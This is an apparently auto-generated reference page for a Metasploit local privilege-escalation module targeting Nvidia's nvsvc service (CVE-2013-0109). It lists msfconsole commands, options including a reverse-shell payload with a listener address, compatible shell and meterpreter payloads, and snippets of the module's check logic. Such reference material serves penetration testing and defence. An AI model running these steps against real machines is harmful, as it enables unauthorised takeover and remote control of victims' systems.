Nvidia (nvsvc) Display Driver Service Local Privilege Escalation - Metasploit

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Module Overview

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Name: Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
Module: exploit/windows/local/nvidia_nvsvc
Source code: modules/exploits/windows/local/nvidia_nvsvc.rb
Disclosure date: 2012-12-25
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-0109

The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to interact with the service. It contains a stacked based buffer overflow as a result of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe', the service name is 'nvsvc', and the named pipe is 'nsvr'. This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012. It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.

Module Ranking and Traits

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Module Ranking:

• average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

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Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/nvidia_nvsvc
msf exploit(nvidia_nvsvc) > show targets
    ... a list of targets ...
msf exploit(nvidia_nvsvc) > set TARGET target-id
msf exploit(nvidia_nvsvc) > show options
    ... show and set options ...
msf exploit(nvidia_nvsvc) > set SESSION session-id
msf exploit(nvidia_nvsvc) > exploit

Required Options

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• SESSION: The session to run this module on.

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Msfconsole Usage

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Here is how the windows/local/nvidia_nvsvc exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/nvidia_nvsvc

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/nvidia_nvsvc) > show info

       Name: Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
     Module: exploit/windows/local/nvidia_nvsvc
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-12-25

Provided by:
  Peter Wintersmith
  Ben Campbell <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 2048
  Avoid: 1 characters

Description:
  The named pipe, \pipe\nsvr, has a NULL DACL allowing any 
  authenticated user to interact with the service. It contains a 
  stacked based buffer overflow as a result of a memmove operation. 
  Note the slight spelling differences: the executable is 
  'nvvsvc.exe', the service name is 'nvsvc', and the named pipe is 
  'nsvr'. This exploit automatically targets nvvsvc.exe versions dated 
  Nov 3 2011, Aug 30 2012, and Dec 1 2012. It has been tested on 
  Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0109
  OSVDB (88745)
  http://nvidia.custhelp.com/app/answers/detail/a_id/3288

Module Options

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This is a complete list of options available in the windows/local/nvidia_nvsvc exploit:

msf6 exploit(windows/local/nvidia_nvsvc) > show options

Module options (exploit/windows/local/nvidia_nvsvc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

Advanced Options

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Here is a complete list of advanced options supported by the windows/local/nvidia_nvsvc exploit:

msf6 exploit(windows/local/nvidia_nvsvc) > show advanced

Module advanced options (exploit/windows/local/nvidia_nvsvc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

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Here is a list of targets (platforms and systems) which the windows/local/nvidia_nvsvc module can exploit:

msf6 exploit(windows/local/nvidia_nvsvc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x64

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/nvidia_nvsvc exploit:

msf6 exploit(windows/local/nvidia_nvsvc) > show payloads

Compatible Payloads
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   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

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Here is the full list of possible evasion options supported by the windows/local/nvidia_nvsvc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/nvidia_nvsvc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Service is not running!

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Here is a relevant code snippet related to the "Service is not running!" error message:

80:	
81:	        begin
82:	          if is_running?
83:	            vprint_good("Service is running")
84:	          else
85:	            vprint_error("Service is not running!")
86:	          end
87:	        rescue RuntimeError => e
88:	          vprint_error("Unable to retrieve service status")
89:	          return Exploit::CheckCode::Unknown
90:	        end

Unable to retrieve service status

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Here is a relevant code snippet related to the "Unable to retrieve service status" error message:

83:	            vprint_good("Service is running")
84:	          else
85:	            vprint_error("Service is not running!")
86:	          end
87:	        rescue RuntimeError => e
88:	          vprint_error("Unable to retrieve service status")
89:	          return Exploit::CheckCode::Unknown
90:	        end
91:	
92:	        if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
93:	          path = svc[:path].gsub('"', '').strip

Error checking file hash: <E>

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Here is a relevant code snippet related to the "Error checking file hash: <E>" error message:

97:	        end
98:	
99:	        begin
100:	          hash = client.fs.file.md5(path).unpack('H*').first
101:	        rescue Rex::Post::Meterpreter::RequestError => e
102:	          print_error("Error checking file hash: #{e}")
103:	          return Exploit::CheckCode::Detected
104:	        end
105:	
106:	        if vuln_hashes.include?(hash)
107:	          vprint_good("Hash '#{hash}' is listed as vulnerable")

Hash '<HASH>' is not recorded as vulnerable

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Here is a relevant code snippet related to the "Hash '<HASH>' is not recorded as vulnerable" error message:

105:	
106:	        if vuln_hashes.include?(hash)
107:	          vprint_good("Hash '#{hash}' is listed as vulnerable")
108:	          return Exploit::CheckCode::Vulnerable
109:	        else
110:	          vprint_status("Hash '#{hash}' is not recorded as vulnerable")
111:	          return Exploit::CheckCode::Detected
112:	        end
113:	      else
114:	        return Exploit::CheckCode::Safe
115:	      end

Unable to retrieve service status

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Here is a relevant code snippet related to the "Unable to retrieve service status" error message:

119:	  def is_running?
120:	    begin
121:	      status = service_status('nvsvc')
122:	      return (status and status[:state] == 4)
123:	    rescue RuntimeError => e
124:	      print_error("Unable to retrieve service status")
125:	      return false
126:	    end
127:	  end
128:	
129:	  def exploit

Session is already elevated

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Here is a relevant code snippet related to the "Session is already elevated" error message:

126:	    end
127:	  end
128:	
129:	  def exploit
130:	    if is_system?
131:	      fail_with(Failure::None, 'Session is already elevated')
132:	    end
133:	
134:	    unless check == Exploit::CheckCode::Vulnerable
135:	      fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
136:	    end

Exploit not available on this system.

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Here is a relevant code snippet related to the "Exploit not available on this system." error message:

130:	    if is_system?
131:	      fail_with(Failure::None, 'Session is already elevated')
132:	    end
133:	
134:	    unless check == Exploit::CheckCode::Vulnerable
135:	      fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
136:	    end
137:	
138:	    print_status("Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...")
139:	
140:	    # invoke the exploit, passing in the address of the payload that

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Related Pull Requests

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• #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #5173 Merged Pull Request: fix fail_with errors
• #3216 Merged Pull Request: Update @Meatballs1 and @FireFart in authors.rb
• #2782 Merged Pull Request: Stop abusing expand path
• #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
• #2771 Merged Pull Request: Release fixes: Minor description changes

References

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• CVE-2013-0109
• OSVDB (88745)
• http://nvidia.custhelp.com/app/answers/detail/a_id/3288

See Also

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Check also the following modules related to this module:

• exploit/windows/misc/nvidia_mental_ray

Related Nessus plugins:

• NVIDIA Display Driver Service Remote Stack Buffer Overflow (credentialed check)
• NVIDIA Display Driver 174.x < 307.78 / 310.x < 311.00 Multiple Vulnerabilities

Authors

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• Peter Wintersmith
• Ben Campbell

Version

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